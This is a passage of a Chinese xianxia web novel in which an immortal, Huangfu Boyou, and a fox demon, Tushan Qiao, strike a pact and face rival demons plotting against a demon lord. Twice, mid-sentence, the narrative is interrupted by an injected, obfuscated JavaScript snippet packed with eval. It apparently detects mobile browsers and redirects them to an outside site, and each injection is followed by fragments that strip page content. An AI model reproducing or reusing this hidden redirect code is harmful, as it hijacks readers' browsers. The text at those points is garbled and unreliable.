涂山桥的话语中充满了坚定与决绝。 4. 约定 涂山桥叙述完这些往事后,眼神锐利如炬,紧紧盯着皇甫伯游,嘴角勾起一抹玩味的笑容:“上仙今日无故摧毁小妖的洞府,是否该赔偿小妖?不如助我一臂之力,完成一件事?” 原来眼前这个与阿啸长得极为相似之人,有涂山狐族和罗刹魅族的血统,可相貌如果是巧合,举止习惯怎么可能作假?再加上此人记忆缺失,也没准真的是阿啸也说不定。若是如此,正好找个由头,留在涂山桥身边,调查一番才是。 想到这里,皇甫伯游深深地凝视了对方一眼,随后爽快地回答道:“好!” 涂山桥脸上露出惊讶之色:“上仙难道不问是什么事情吗?” 皇甫伯游微微一笑,温声说道:“若是阿啸相求,无论何事,我都会答应。” “阿啸是谁?”涂山桥好奇问道。 “阿啸是贫道失踪的朋友,与涂山公子很像。”皇甫伯游回答说。 涂山桥闻言,眉头紧蹙,沉思片刻,随即有些不舍得看了皇甫伯游一眼:“既然如此,那便算了,你不合适,小妖不劳烦上仙了。” 皇甫伯游不禁感到好奇:“涂山公子,你到底想让贫道做什么?” 涂山桥坦言说道:“请恕小妖冒昧。适才小妖也说了,我立志魅惑焚风魔君,可他是神魔境后期高手,我此前苦修魅术,只要是不超过天境后期的修士,无论男女,都能轻易中我的魅术。” “恰好今日遇到上仙,您作为太乙金仙境中期修士,若能魅惑上仙,那么对上焚风魔君,小妖也便有几分把握。可上仙方才所言,明明是把我当做了您的好友。如此一来,恐怕小妖对您施展魅术,根本没有任何意义。” 涂山桥说完,拱手作揖,似乎是在赔礼道歉。 皇甫伯游叹息一声,缓缓说道:“涂山公子,其实你的魅术对我是有用的。在你摘下面具之前,我便有片刻恍惚和心神不稳。” “此话当真?”涂山桥问道。 “自然,贫道不打诳语。”皇甫伯游说道。 “哦~,”涂山桥眼中闪过一丝诧异,随即嘴角勾起一抹意味深长的笑意:“上仙此言既出,莫非是想听小妖说出方才求助之事?” 皇甫伯游郑重点点头:“的确如此,不过作为交换,你也要答应我几件事。” 涂山桥挑眉,莞尔一笑,露出两个浅浅的酒窝:“原来上仙是这么打算的……,那请问上仙需要小妖做什么?” 皇甫伯游抿嘴轻笑,负手而立,侧对着涂山桥,悠悠说道:“你也不问我几件事换你一件事,不怕吃亏么?” 涂山桥也轻笑说:“我还怕上仙后悔呢,况且上仙修为高出在下许多,能力本领远超小妖。故而,需要我答应且我能做成之事,应当不是什么难事。” 皇甫伯游转过身来,赞许地看了涂山桥一眼,叹息道:“你比他聪慧许多。第一,以后莫要叫我上仙,唤我伯游即可,相应的,我也称你阿桥如何?” 涂山桥点点头:“其实我相求之事,也必然需要改换称呼。” 皇甫伯游继续说:“第二,你将从小到大的经历、过去服用什么药、练什么功夫、有什么亲友都告诉我,越详尽越好。” 涂山桥又点点头,诧异道:“我相求之事,也需要告知您这些往事。” 皇甫伯游闻言,也有些意外,但仍然接着刚才的话头讲:“第三,你若决定何时刺杀焚风魔君,须提前告知我。就这些罢。” 涂山桥听完,一脸诧异:“只有这三点?” 皇甫伯游点点头,确认说:“怎么,三件事换一件事,难道阿桥觉得太少了?” 涂山桥听到皇甫伯游称他阿桥,心里突然就有些别扭,也说不清为什么,抬眼见对方正诚挚地看向自己,随即戏谑地笑着说道:“我的要求是:上仙须在人前假装成我的义兄顾盟主,直到我刺杀焚风魔君成功。” 皇甫伯游面露疑惑:“顾盟主是谁?莫非是焚天盟?” “上仙猜的不错。”涂山桥解释说:“义兄失踪多年,有人怀疑他是被焚风魔君杀害,还有人怀疑是被上仙诛杀。但无论如何,顾盟主身为玄妖境高手,实力强悍,他一旦现身,定会引起焚风魔君的兴趣。” 众所周知,玄妖境是目前妖修的最高境界,等同于魔修的神魔境,仙道的太乙金仙境。玄妖高手寥寥可数,且大多避世不出,故而多年前顾盟主横空出世,令妖界十分振奋。 几十年前,焚风魔君派魔兵前往人间,且以活人祭炼,制作了大量的魔兵,逼迫妖怪听其号令。妖界修士苦不堪言。 妖怪们与魔修不一样,妖族没有自己的领域,与人类、神仙生活在同一个世界,大多以修行成仙为毕生追求。平时也知道积德行善有利于修行,现在被魔君控制,犯下如此滔天罪行,真不知到时候飞升历劫时能不能渡过。 于是妖界高手暗地里组成焚天盟,全称是“对抗焚风魔君的天妖境修士联盟”,但表面上臣服于焚风魔君,等待时机成熟,再给其致命一击。 涂山桥大致讲完焚天盟由来,皇甫伯游总算明白为什么那些妖魔无论如何也不肯吐露半个字了。 “所以你让我以顾盟主身份行事,如此一来,能尽快引起焚风魔君注意。更重要的是……”皇甫伯游顿了片刻,斟酌好措辞,说道:“更重要的是,这样就能让我不继续追查魅魔少兰了,对不对?” 涂山桥睁大眼睛,瞳孔急剧收缩又张开,眉毛挑的很高,倒吸了一口气。看样子的确没想到,皇甫伯游居然一开始就知道少兰原本在洞里。 “你怎么知道……”涂山桥诧异问道。 皇甫伯游微微一笑:“阿桥,如果我说我一开始就知道魅魔留下的是分身,你信不信?” 涂山桥面露不解。 皇甫伯游解释说:“一般而言,太乙金仙境或神魔境以上,幻化的分身才能控制自如。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514054|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魅妖一族天生善于幻化,故而魅魔的境界虽为天境后期,却也有可能炼化分身。三年前降服她时,只有天境中期一阶,当时我便有所怀疑。及至今日来到洞外,察觉到洞中有一股熟悉的妖气,我就确定她刚才必然在洞中。” 涂山桥疑惑问道:“那你为何还任由我拖延时间,放兰姐姐离去?” 皇甫伯游笑了笑:“阿桥,降妖伏魔是手段,不是目的。只要还人间太平、苍生安宁,我何必对一个所犯错误并非不可饶恕的妖魔赶尽杀绝?” 涂山桥听闻此言,出神地望着皇甫伯游,片刻沉默无语。 皇甫伯游没作声,静静地等候涂山桥的反应。 涂山桥怔怔地看着皇甫伯游,轻声说道:“伯游哥哥,我为了报仇,刻意魅惑了许多法力高强的妖魔,你是否觉得我不是好人?” 皇甫伯游向前两步,轻轻拍了拍对方的肩膀,宽慰说道:“刺杀境界远胜于自己的魔头,周旋于众多妖魔之间,阿桥是智勇双全之人,怎么会不是好人?” 涂山桥听闻此言,眼角却有些湿润,轻轻咬着下嘴唇,抬眼看向皇甫伯游,有些委屈地说道:“我也不喜欢那些妖魔,可是必须取得他们的信任,我明明剑术很高强,但涂山和魅妖族长老们却说我必须用魅术才能笼络人心。” 说到这里,涂山桥轻轻吸了一口气,又盯着皇甫伯游眼睛,诚挚说道:“可是伯游哥哥,我并没有与他们乱来,只是必须逢场作戏,在人前要装作亲昵暧昧的样子。” 皇甫伯游轻轻拍了拍对方的肩膀,安慰说道:“阿桥,你若不喜欢用魅术,就用剑术、法术。我们修行多年,若是连降服妖魔都要倚仗对方的喜好,又如何能救度苍生?” 涂山桥闻言,眼中似有星辰闪动,欣然说道:“伯游哥说的对,若魅丹当真有用,我根本不用施展魅术,焚风魔君也会喜欢我。若魅丹无用,我却还魅惑那魔君,岂非滑稽可笑?” 皇甫伯游点点头,“焚风魔君祸乱人、妖、魔三界,是我们共同的敌人,诛杀焚风魔君也是我们共同的使命,怎能寄希望于难以捉摸的魅术?” 涂山桥深深点头,拱手道:“皇甫上仙,涂山受教了。只是眼下,有一件要紧的事,需要皇甫上仙随我跑一趟。” “什么事?”皇甫伯游问道。 涂山桥没有直说,而是卖了个关子问道:“皇甫上仙,您知不知道,当今妖界,玄妖境的妖修有多少?” 皇甫伯游一脸迟疑,毕竟他这十年间降服了一百零八洞妖魔,但好像都是天妖境中后期,还没有遇到玄妖境的。 “贫道不知。” 涂山桥笑道:“皇甫上仙,玄妖境妖修,目前只有顾盟主一人,而他下落不明,故而也可能玄妖境已经不存在了。” “所以……?” “所以玄妖境功法现世,必定会引得妖魔震动,所以义兄,您需要放出一个消息……”涂山桥说道。 5. 交心 “玄天秘法?这是什么?”皇甫伯游听涂山桥说完,诧异问道。 “玄天秘法乃是妖修的高阶功法,顾盟主当年便是靠此功法突破至玄妖境。”涂山桥解释说。 “这么厉害的功法,怎么以前没听说过?”皇甫伯游忍不住问道。 涂山桥笑了笑,调皮地眨了眨眼睛,神色间透着几分狡黠,“因为这功法是我瞎编的。” 皇甫伯游面露担忧,语气中也带上了几分关切:“那你让我放出玄天秘法踪迹的消息,能有几人相信?” 涂山桥满脸得意,神色飞扬地说道:“上仙,您可得信我的本事。您方才不也纳闷,从未听闻魅妖和狐妖一族出了我这样一个天境后期的修士,其他妖怪自然也有同样的疑惑。当初他们问起时,我便声称是修习了玄天秘法。” “巧的是,我三年前崭露头角,那时恰逢顾盟主失踪不久。众多妖怪便怀疑我与顾盟主有关。” “为了尽快加入焚天盟,我索性谎称曾与顾盟主相遇,还结拜为兄弟,顾盟主将玄天秘法传授于我,助我突破了多年的修行瓶颈,一步迈入天境后期。” “从那以后,妖怪之间便传开了,都说顾盟主能达到玄妖境,全靠这玄天秘法。” “所以我能顺利加入焚天盟,还坐上了左使的位子,除了我用魅术结交各位大妖,更多是盟内不少人觊觎这玄天秘法。” “有时候一件事是否可信,在于人们愿不愿意相信……” 话还没落,守门小妖慌慌张张奔来,声音带着颤音:“大人,大事不好!青兕大王来了,瞧那气势汹汹的模样,像是来兴师问罪的!” 听闻此言,涂山桥神色未惊,不紧不慢抬手,将面具稳稳戴好。刹那间,周身气质陡然转变,取而代之的是一副冷若冰霜、不怒自威的模样,仿佛方才那个谈笑风生的人从未出现过。 “这回他们又骂什么?”涂山桥冷笑问。 “青兕大王说您水性杨花、整日只知道搔首弄姿、勾引别人,还说大王您已经被睡遍了,如同风尘女子一样。”那小妖支支吾吾说着,发现自家大王不怒反笑,更加吓得六神无主,扑腾一声就地跪下。 “大王饶命,是青兕大王说的,小的只是复述而已。”小妖怪说着话,连连磕头求饶。 涂山桥冷哼一声,颇为不屑地讥笑道:“他活了上千年,偏偏还这么幼稚愚蠢,以为我会上当?”随后负手而立,微微仰头说道:“如今大门洞开,防护阵被毁,他此时不进来,分明是忌惮于我,却只敢在洞口骂战。哼,我偏偏不让他如愿!” 此时,洞外的辱骂声更加粗俗不堪,时不时传来“婊子”、“骚货”等字眼。 涂山桥长呼一口气,挥了挥手让小妖怪退下,自己则优雅地坐在桌案边,随手抓了一把葡萄干,囫囵塞进嘴里,大口咀嚼。 “阿桥,这青兕精看气息最多不过天境中期,修为应当不及你,为何惧怕他?”皇甫伯游也随即坐在涂山桥身侧,一边剥栗子一边问道。 涂山桥摘下面具,神秘一笑,整张脸平添了几分明媚:“伯游哥哥,等会儿你就知道了。” 皇甫伯游将剥好的栗子推到涂山桥年前:“我去看看。” “伯游哥哥莫急,马上就有好戏看了。”涂山桥拉住皇甫伯游的手,示意其坐下,又笑盈盈地说道:“伯游哥哥剥得栗子光滑完整、内膜干净,可我总是剥不好栗子。” 皇甫伯游看着涂山桥伸手捏起一颗栗子放进嘴里,眉眼弯弯,细细咀嚼着,睫毛也在夜明珠映衬下显得似乎镀上一层微光。看起来心情极佳,丝毫没有受洞外辱骂的影响。 “这些年,难为你了。”皇甫伯游覆在涂山桥手背上,轻轻说道。 涂山桥闻言,表情骤然凝固,他转过头深深看了一眼皇甫伯游,戏谑说道:“伯游哥哥,你若再这样下去,我恐怕要忍不住对你施展魅术了。” 皇甫伯游淡淡一笑,显得如朗月清风般皎洁,翠竹苍松般俊逸,温声说道:“阿桥,你想让我做什么,直说便是,用不着多此一举。” 涂山桥歪了歪头,眉毛一挑,显得有几分俏皮:“那若是我要伯游哥哥不做神仙,陪我一辈子呢?” 皇甫伯游沉思片刻,回答说:“待我向师父秉明原委后,也并非不行。” 涂山桥闻言,骤然靠近过来,紧紧盯着皇甫伯游,问道:“若是我要伯游哥哥替我刺杀焚风魔君呢?” 皇甫伯游看着涂山桥相距不过一尺的精致面容,不由自主的别过头,垂眼看向一旁的果盘,下意识地数了数盘子上有多少颗青梅,顿了顿,肃然说道:“焚风魔君炼化异族为魔兵,虐杀无数中土百姓,罪大恶极,我原本也打算将其诛杀。只是苦于眼下境界略低于焚风,不得已只能等待时机罢了。” 涂山桥闻言,离得更近了。正要说什么,却不料被一声巨响打断了。 “哐当——” 皇甫伯游见状即刻按剑起身,神色疑惑地望着洞口。 “阿啸,我去门口看看……” 话音刚出,皇甫伯游感觉对方气息骤然凝滞下来,待转头看向涂山桥,却发现他一向光彩熠熠的眼睛已然变得十分黯淡无光,脸色也极其难看。 “你……,果然是把我当做了别人。”涂山桥咬着下唇,无比落寞地说道。 皇甫伯游默不作声,涂山桥与林啸有几分相似,却无法确定就是同一人。他原本打算通过接近涂山桥,慢慢调查涂山狐妖族、罗刹魅妖族,来探查背后秘密。 可对方现在似乎很在意自己为何对他好。 皇甫伯游最初认识林啸的时候,林啸还是一只小老虎,皇甫伯游那时也只是个孩子。两个孩子相依为命,一起去凤凰山找天琅学习修行之术。 后来皇甫伯游随东华帝君去天界修行,林啸在天琅指导下,过了几年就化成人形。随后几百年间,皇甫伯游每每去凤凰山,都恰好碰到林啸随天琅出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514055|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游历。 直到那日在琅嬛洞天相遇。 皇甫伯游看到那个十分俊秀的少年时,并不知道是林啸,只是诧异对方长得实在太好看了。后来两人一起去雷泽秘境,林啸阴差阳错地跌入混沌碎片,又过了一百二十年,皇甫伯游才再次见到林啸。 那时林啸已经长成与现在差不多的样子,皇甫伯游当时见到久违的好友,就忍不住拥抱对方。可是林啸化为原型——变作一只大老虎蹭他的下巴,蹭他的脸颊和下巴时,还是觉得心里有些奇怪。 此时此刻,皇甫伯游才明白为什么。 原来自己喜欢大猫,不仅仅是因为大猫可爱,而是因为喜欢林啸的原因。所以从瑶池领养的那只小白老虎,皇甫伯游喜欢是喜欢,却并不会为了陪它一辈子放弃做神仙。又比如今日,涂山桥原型虽是一只狐狸,自己仍旧一见面就有好感。 思及此,皇甫伯游叹了口气,抬头去看涂山桥,却见他正拿着一方手帕,神情专注地擦拭那把乌黑古朴的佩剑。 “神光内敛、气势恢宏,是一把好剑。”皇甫伯游缓步走过去,忍不住点评说道,又问:“阿桥,你的剑叫什么名字?” “叫做‘吞月’,难得上仙看得起小妖的佩剑。”涂山桥继续认真的擦剑,眼睛抬也不抬,冷冷说道。 “阿桥,你莫生气。”皇甫伯游看对方嘴角微微下撇,眉毛轻轻皱起,知道涂山桥还在生气。 “你怎么不叫阿啸了?”涂山桥转过头,眼眶微微发红,目光如炬地盯着皇甫伯游。 “阿桥,对不住……”皇甫伯游看出对方是真的伤心和生气,十分惭愧。 涂山桥冷笑一声,情绪不自觉地激动起来。 “自我十八年前苏醒,族人便不断告诫我,一定要刻苦修炼魅术。因为我的命,是衡哥哥和兰姐姐救下的,所以我必须魅惑焚风魔君,让他喜欢上我。” “可我本就厌恶魅术,一心想修习剑术,与焚风魔君堂堂正正地打上一场。但族人却骂我愚蠢至极,说我若那么做,无疑是自寻死路。不仅会辜负众人的期望,更会让衡哥哥白白牺牲。” “今日,上仙告知我,能够凭借剑术而非魅术去刺杀焚风魔君,我便将上仙引为知己。却没想到,上仙不过是把我当作替身罢了。” 涂山桥说到这里,苦笑道:“可我有什么办法,毕竟势单力孤,魅术的确是以小博大的最优选。” 涂山桥说着,脸上不由得带了一丝讥笑:“因此,青兕骂得很对,我有时候也这么想自己。” 涂山桥的手骤然被皇甫伯游握住,涂山桥似乎是想到对方将自己视为替身,不由得皱起眉头,想要奋力甩开皇甫伯游的手,却因为境界差距,无论如何也挣脱不开。 皇甫伯游望着涂山桥,诚挚说道:“阿桥,焚风魔君祸乱人魔两界,是大家的公敌,你为了刺杀他,不惜改头换面,忍辱负重,是当之无愧的英雄。莫要妄自菲薄,自轻自贱了,好么?” 6. 破局 涂山桥听皇甫伯游说自己是英雄,神色稍缓,正要开口说些什么,这时,一名小妖匆匆来报。 “大王,外面来了一群妖怪,口口声声说是来支持青兕大王的,要讨伐您,逼您说出顾盟主的下落!” 涂山桥早已重新戴上面具,嘴角浮起一抹冷笑:“这些人还真是沉不住气。嘴上说找顾盟主,实则是想逼我交出玄天秘法。你去告诉他们,要是心急,就尽管进来!” 小妖领命退下。 涂山桥转头看向皇甫伯游,神色平静:“上仙,那些要来讨伐我的妖怪已经到了。您要是留下来,恐怕会卷入这场纷争。若是怕麻烦,此刻离去也无妨。” 皇甫伯游听了,微笑说道:“既然答应了你,哪有此时离去的道理?” 涂山桥眼中闪过一丝不易察觉的羡慕,轻声叹道:“那个阿啸,能有上仙这样的朋友,真是福气。” 皇甫伯游一时语塞,不知该如何解释,只能轻轻叹息一声。 千钧一发之际,嗖的一声,一支裹挟着烈烈火焰的火箭,如同一颗横冲直撞的流星,直直射进洞府。 涂山桥眼眸骤缩,周身法力翻涌,散发森森寒气,他徒手稳稳抓住火箭,怒道:“这无耻之徒!自知境界不敌,不敢进洞也就罢了,竟还妄图火烧我洞府,实在欺人太甚!” 说罢,他与皇甫伯游迅速交换了一个眼神,紧接着身形一闪,如鬼魅般瞬移而出。 皇甫伯游站定,缓缓闭上双眸,神识扩散开,瞬息间便将洞外的一切尽收眼底。 只见前方,一个身材魁梧壮硕的妖怪格外引人注目。他皮肤呈现出青黑之色,粗糙得如同久经风雨侵蚀的岩石。手中紧握着一柄巨大的铁锤,随意挥舞间,空气中便传来阵阵呼啸。 此妖站在一众妖怪前列,气势汹汹,正是青兕大王。此刻,他正涨红了脸,对着涂山桥大声控诉:“你口口声声说与顾惊澜盟主结为异姓兄弟,可有凭证?涂山狐族里的高手,大家都知根知底,怎么凭空冒出你这么个天境后期的修士?依我看,定是你趁顾盟主潜心修炼之时,施展魅术迷惑了他,进而抢夺了玄天秘法,所以才能一夜之间境界飞升,摇身一变成为高手!” 涂山桥冷笑,满是嘲讽与不屑:“全是你的一面之词,空口无凭,你又有何佐证?” 青兕大王毫不示弱,向前跨出一步,振振有词道:“证据?我自然有!因为顾盟主,已然不在人世了!” 涂山桥神色一凛,声音愈发冰冷:“顾盟主神功盖世,威震四方,怎会说死就死?我看你是为了污蔑我,故意信口雌黄!” 青兕大王脸色一沉,大声吼道:“我岂会无的放矢?就在昨日,总坛之中象征顾盟主的铭心烛,已然熄灭!” “什么?!”涂山桥浑身一僵,眼中满是不可置信与震惊,这消息实在太过意外,让他一时乱了心神。 青兕大王猛地将铁锤重重杵在地上,震得碎石飞溅,他双目圆睁,眼中凶光毕露:“这铭心烛,乃是盟中秘宝!当年我们加入盟会时,都将自己的一丝神魂注入其中,只要神魂尚存,烛火便永不熄灭;一旦魂归西天,没了魂力滋养,烛火自然就会渐渐黯淡。” 他伸手直指涂山桥,“昨日,顾盟主的铭心烛毫无征兆地熄灭,这还不足以证明他已经惨遭毒手?” 话音未落,青兕大王突然向前逼近几步,气势汹涌:“顾盟主三年前离奇失踪,这期间,只有你涂山桥信誓旦旦说见过他!不是你,还能有谁?若非心中有鬼,你为何至今不肯交出玄天秘法?又为何要将自己的面容藏在面具之下?” 他的声音在山间回荡,震得周围妖怪们的耳膜嗡嗡作响,一双铜铃大眼中满是认定涂山桥是凶手的笃定。 涂山桥见状,呆愣在原地,也十分诧异。 此时,青兕大王一声令下,众妖开始布阵围攻涂山桥。 涂山桥见众妖操练有素,不多时阵法即将成型,终于缓缓开口说道。 “顾大哥的确不是我杀害的,我上次见他是三年前,昨日铭心烛刚熄灭,并不能证实是我所害。” 青兕逼问:“那你为何私藏玄天秘法?如今焚风魔君残害我等妖族,如若大家合力修习此秘术,诛杀焚风魔君岂非指日可待?” 刹那间,妖阵如乌云压顶般成型。空中骤然浮现出一张由无数利刃织成的巨型罗网,寒芒闪烁,仿佛连光线都被切碎。 正当涂山桥周身法力翻涌,准备硬抗阵法威压时,一道黑影疾掠而至。寒光纵横间,一柄长刀舞出漫天刀花,密不透风的刀幕将呼啸而来的利刃尽数震碎。 火星四溅中,来人身姿轻盈落地,刀柄上的银链随动作发出清脆声响。 涂山桥惊异问:"西门春,你怎么来了?" 来人一身利落的玄色劲装,他甩了甩被刀气割破的绑带,忽然低头咬住一端,单手灵巧地缠绕打结,动作间尽显潇洒不羁。末了挑眉看向涂山桥,眼中笑意流转:"我的小狐狸,美人儿在何处,我自然就在哪里。当初你为进焚天盟,可是用尽手段勾引我,如今想翻脸不认人?" 涂山桥微微一笑:"我魅惑过的人能从山下排到东海,就算认账——"他顿了顿,语气十分淡漠,"你又能拿我怎样?" “不怎么样。”西林春讨好地笑了笑,将腰间葫芦递给涂山桥,说道:“左使大人,你尝尝这米酒,这是我专门从上虞带过来的,在人间卖得可好了。虽然比不得照月白,但也是难得的佳酿。” 涂山桥挑眉接过葫芦,旋开木塞仰头灌下一大口。喉结滚动间,他轻轻抹了抹嘴角,难得露出几分赞赏:"没想到你倒是有心,确实是难得的好酒。" 西林春见状,眼底闪过一丝得意,拍 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他顿了顿,指尖拂过信纸上微微凹陷的墨痕,"我不日便要远走,此身虽负统领之责,却再难与诸位共赴山河。本欲携众兄弟反抗魔君、重振妖族威名,怎奈天命弄人、顾某恐不久于世,纵有千般不甘,亦不得不舍。唯愿盟中上下勠力同心、共御强敌,不得生出嫌隙、兄弟阋墙。" 竹叶青大王指尖轻抚信笺边缘,良久,他抬起头,笃定确认说:"字迹、印章与盟主分毫不差,确是顾盟主亲笔。" 西林春旋即踏前半步,玄色劲装在风中猎猎作响。他目光扫过群妖,扬声道:"诸位!盟主信中字字泣血,苦心劝诫我等摒弃嫌隙,共御魔族。如今魔族肆虐,妖族内耗不断,难道真要让盟主泉下难安?"他猛地抽出长刀,刀锋挑起枯叶,"与其在这争个你死我活,不如将这满腔怒火,化作对抗魔界之力!" 西林春一番话如星火燎原,瞬间点燃群妖热血。刹那间,漫山遍野的兵器在阳光下泛起寒光,此起彼伏的呐喊震得山林簌簌作响:"勠力同心,共御魔族!"声浪直冲云霄,惊得林间飞鸟四散奔逃。 青兕大王涨红着脸,握着铁锤的指节发白。他闷哼一声,极不情愿地朝涂山桥拱了拱手,转身时还不忘恶狠狠地瞪了西林春一眼,随后带着部下匆匆消失在山道尽头。 待妖怪全部散去,涂山桥缓步上前,面具下的眼神锐利:"右使大人这出戏唱得漂亮。不过——"他顿了顿,周身寒气骤然凝结,"玄蛇大王那老滑头向来独善其身,你是如何说服的他?" 西林春微微一笑,赞赏说道:“阿桥果然冰雪聪明,玄蛇大王起初不愿,但向来贪婪,两件法宝就动摇了。此外,他也分的清楚,现在盟内只有你我两个天境后期,他可得罪不起。” “右使此番前来,除了替我解围和送酒,应当还有其它目的罢。”涂山桥问道。 7. 双鸾 西门春闻言,微微一笑,“阿桥不信我是专程来救你么?” “右使今日来解围,我很感激,只是我对你用过魅术不假,却不会持续如此长时间。”涂山桥断言说:“因此,有什么条件,你不妨直言。” 西门春叹了口气:“阿桥,魅术只能惑人一时,我心甘情愿帮你多次,绝不是因为魅术。” 涂山桥淡淡一笑:“可你我只见过数面,又为何多次帮我?” 西门春抬头望着天际,眼中微光晃动,开始娓娓道来:“我年少时,母亲被一只黑熊精杀死,待那只熊罴要来杀我时,林大哥及时出现救了我。这份恩情,我一直记得。” 涂山桥闻言,眼神愈发冰冷:“你的林大哥,也叫作林啸么?” 西门春顿时惊愕,随即笑了笑:“林大哥避世隐居,没想到阿桥也认得。” 涂山桥冷笑一声,不再理会西门春,转身回了洞府。 西门春心知自己说错了话,只好连忙跟上前去。 刚进洞门,就发现皇甫伯游负手迎面而立,似乎是等他们等了好久。 “这人是谁?怎么如此像顾盟主?”西门春惊异说道。 皇甫伯游闻言皱眉,怪不得涂山桥让自己扮做顾惊澜,原来当真生得相似。 涂山桥并未答复西门春,而是向皇甫伯游拱手道:“大哥,刚才洞外的事,您都瞧清楚了?” 皇甫伯游明白,此时需扮做顾惊澜,于是点了点头:“我还不便现身,这些时日,你辛苦了。” 西门春眉头一皱,仔细打量皇甫伯游,那眼神似乎是在探查眼前人与顾盟主的差别之处。 “顾盟主,”西门春拱手行礼,“您失踪了三年多,难道是有什么安排,故而不便在盟内现身么?” 皇甫伯游点点头,怕自己露馅,并未多言。 涂山桥解释说:“大哥,您之前派阿桥调查章尾山秘境一事,已经有了些许眉目。” 章尾山,是一座古山,位于西北海之外,赤水之北。山海经中描述,此山上有神,人面蛇身而赤,身长千里,直目正乘,其瞑乃晦,其视乃明,不食不寝不息,风雨是谒,是烛九阴,也就是烛龙。 涂山桥继续解释:“章尾山离罗刹谷不远,您当日在烛龙秘境领悟玄天秘法,此次再进秘境,定然有助于冲击玄妖境后期。” 皇甫伯游闻言,明白涂山桥是打算邀请自己去烛龙秘境,可一提到这个秘境,怎么感觉有些熟悉? 皇甫伯游神思恍惚,想起了一桩往事。 十年前,皇甫伯游为寻找林啸,潜行遁迹在人间降妖伏魔时,曾闯入过一个离奇古怪的阵法。 当时在西北地区的一处村落,突然发生了一起大规模械斗,整个村子无论男女老少都参与到战斗之中。当时,还惊动了官府,不过官府来的人也都被打跑了。 因此有人怀疑是妖魔作祟,皇甫伯游恰好路过,听闻此事,也觉得怪异,于是连忙赶过去,却发现争斗已然平息。 但是,所有村民的眼神,都有一种说不出的怪异。 皇甫伯游借口讨水喝,拜访了几户人家,却发觉似乎并没有人员伤亡。 正当觉得是虚惊一场,要走出村口时,惊异发觉村口的乱葬岗新埋了不少尸身。 这乱葬岗并没有新堆起的坟茔。而是将所有尸身粗暴地埋在一个大坑里,地面十分平坦,寻常凡人路过,自是无法察觉。 可皇甫伯游是神仙,当然能感知到这里不久前竟埋葬了不下一百人——恰好与村民的数量差不多! 皇甫伯游召唤出此间土地,土地说几日前确实发生过械斗,但那时不知为何,他无法进入这个村子,等能进来时,却发现乱葬岗埋了人,不过村中人口,并没有一个减少。 土地神本来就应当对当地之事了如指掌,皇甫伯游不由得心生疑虑,问土地为何不去地下看看坟内埋的是谁? 土地大惊,幻化出双股剑直刺皇甫伯游而来。 皇甫伯游轻轻躲过,此时土地已经化为一个青衣黄裳的少女,模样灵秀乖巧,相貌约有十五六岁模样,修为只是天境中期,看气息应当是魔修。 “你到底是谁?”皇甫伯游手持青阳剑,迅速还击问道。 “我叫双鸾,你离开此地,我不与你计较。” 皇甫伯游身为太乙金仙境中期,自是不怕眼前妖魔,凛然说道,“姑娘,贫道还没弄清这坟茔里埋得谁,不会离开。” “不过是一些村民罢了,你何必认真?”那姑娘淡漠说道。 皇甫伯游闻言大怒,不再与这少女理论,手下剑招愈发凌厉起来。 不出十个回合,皇甫伯游眼看即将制服对方,却不料那姑娘忽然祭出一把铜镜,迸射出耀眼光芒,照向自己。 皇甫伯游骤然感觉眼前一花,随即片刻恍惚,等清醒过来时,已经来到一处秘境。 这里是一大片荒野,远处是高山,此时夜幕四合,但天上隐隐有绿色光芒晃动。 “来到烛九阴秘境,看你怎么出得去。”皇甫伯游识得,正是刚刚那妖女的声音。 皇甫伯游飞遁良久,却始终离不开这片荒野。 几个时辰后,皇甫伯游发觉这个世界似乎无边无际。 皇甫伯游开始思索,《淮南子》中记载:“烛龙在雁门北,蔽于委羽之山,不见日,其神人面龙身而无足。” 那个小妖女只是天境中期,不应该能创造出如此大的世界,还能困住自己这个太乙金仙中期。 所以,这个世界,一定是借助了上古神祇烛九阴的力量。 皇甫伯游想到这里,飞身冲向一直在天空晃动的绿色光芒,果然不久后飞了出来,回到村子。 但是,那个小妖女已经跑了。 自己的境界居然也跌落到了太乙金仙境初期。皇甫伯游不免觉得奇怪,总是感觉好像缺了什么东西,却又不知道是什么。 皇甫伯游运神力探查乱葬岗,发觉其中埋葬的尸身的确是村民。可若是如此,村里那一百多口为生计劳碌奔波地又是什么? “等一下,这些尸身怎么有魔气?”皇甫伯游心下诧异。 用神识感知,发觉坟茔内的魔气确实十分浓郁。 可之前在村子里讨水喝时,并未发觉村民身上有魔气。 难不成,这乱葬岗埋的是妖魔,村子里是真正的村民? 可妖魔变成村民做什么?村民又是如何能杀死妖魔的? 皇甫伯游百思不得其解,不过眼下自己境界无端跌落,还需尽快寻个灵气充裕之地,静坐调息,恢复法力和境界才是。 想到这里,皇甫伯游即刻 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“大哥放心,我有八成把握。”涂山桥笑着说道。 西门春眼中闪过一丝疑惑,却并未多说什么。 “上仙,可以让西门春走了。”涂山桥传音与皇甫伯游说。 皇甫伯游与涂山桥对了下眼神,转身对西门春说:“辛苦右使操劳盟内事务,妙计化解今日危局,待来日进入章尾山秘境,修为定然能有所进境。” 西门春自然听出言外之意,于是拱手称谢告辞。 涂山桥亲自出门相送。 待涂山桥回到洞内,皇甫伯游自然有一肚子的问题。 涂山桥请皇甫伯游坐下,给对方斟了一杯茶,开始解释。没想到一句话就让皇甫伯游惊讶不已。 “上仙,西门春虽出手相救,但他是焚风魔君的人。” 